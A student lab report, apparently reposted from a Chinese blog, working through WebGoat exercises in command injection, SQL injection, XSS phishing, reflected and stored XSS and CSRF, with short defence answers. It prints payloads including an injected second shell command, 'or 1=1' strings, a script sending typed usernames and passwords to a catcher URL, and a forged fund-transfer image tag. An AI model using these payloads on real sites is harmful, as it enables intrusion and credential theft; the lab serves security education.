• 2018-2019-2 20165219《网络对抗技术》Exp9 Web安全基础


    2018-2019-2 20165219《网络对抗技术》Exp9 Web安全基础

    一 实验内容

    WebGoat配置

    进入https://github.com/WebGoat/WebGoat/releases?after=8.0.0网站

    下载 webgoat-container-7.0.1-war-exec.jar

    输入java -jar webgoat-container-7.0.1-war-exec.jar安装jar包

    览器登陆http://localhost:8080/WebGoat网站

    SQL注入攻击
    1.命令注入(Command Injection)

    选择 Injection Flaws -> Command Injection
    右键页面中复选框,选择inspect
    Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"

    点击 view,看到网络端口使用情况和 IP 地址,攻击成功

    2.Numeric SQL Injection

    Goal:The form below allows a user to view weather data. Try to inject an SQL string that results in all the weather data being displayed.

    右键点击复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1

    3.String SQL Injection

    Goal:The form below allows a user to view their credit card numbers. Try to inject an SQL string that results in all the credit card numbers being displayed.

    输入查询的用户名' or 1=1--

    4.String SQL Injection

    Goal:Use String SQL Injection to bypass authentication.

    在密码框右键选择inspect Element审查网页元素对长度进行修改

    在密码框输入' or 1=1 --

    XSS攻击
    1 Phishing with XSS

    编写一个带用户名和密码输入框的表格

    <form>
      <br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
      Enter Username:<br><input type="text" id="user" name="user"><br> 
      Enter Password:<br><input type="password" name = "pass"><br> 
      </form><br><br><HR>
    

    编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat

    function hack()
      { 
          alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
          XSSImage=new Image; 
          XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
      }
      </script>
    

    将两段代码合并后,在 XSS - > Phishing with XSS搜索上面代码,在显示的表单中输入用户名和密码,登录后WebGoat会将输入的信息捕获并反馈给我们

    2 Reflected XSS

    在code框输入<script>alert("20165219");</script>

    点击purchase,则会弹出窗口,内容是括号里的串

    3 Stored XSS Attacks

    在massage部分插入jsp代码,代码会被浏览器解析成html的内容

    在message窗口输入<script>alert("wyb");</script>,说明攻击成功

    CSRF攻击
    1 Cross Site Request Forgery

    在Message框中输入
    <img src="http://localhost:8080/WebGoat/attack?Screen=303&menu=900&transferFunds=10000" width="1" height="1" />

    问题回答

    SQL注入攻击原理,如何防御

    检查输入数据类型和格式

    XSS攻击的原理,如何防御

    在表单提交或者url参数传递前,对需要的参数进行过滤。检查用户输入的内容中是否有非法内容

    CSRF攻击原理,如何防御

    通过referer、token或者验证码来检测用户提交 避免全站通用的cookie,严格设置cookie的域

  • 相关阅读:
    nhibernate记事
    关于mysql数据库中,连续签到等连续日期的处理
    记IIS部署https arr urlrewrite
    mybatis Generator
    CGI
    FreedonStudio freertos 内存分配方式选择
    NB模块BC26调试记录
    调试升级程序记录
    最近做的一个嵌入式项目
    4*4键盘扫描程序--去抖加长按
  • 原文地址:https://www.cnblogs.com/wyb-1998/p/10926482.html
Copyright © 2020-2023  润新知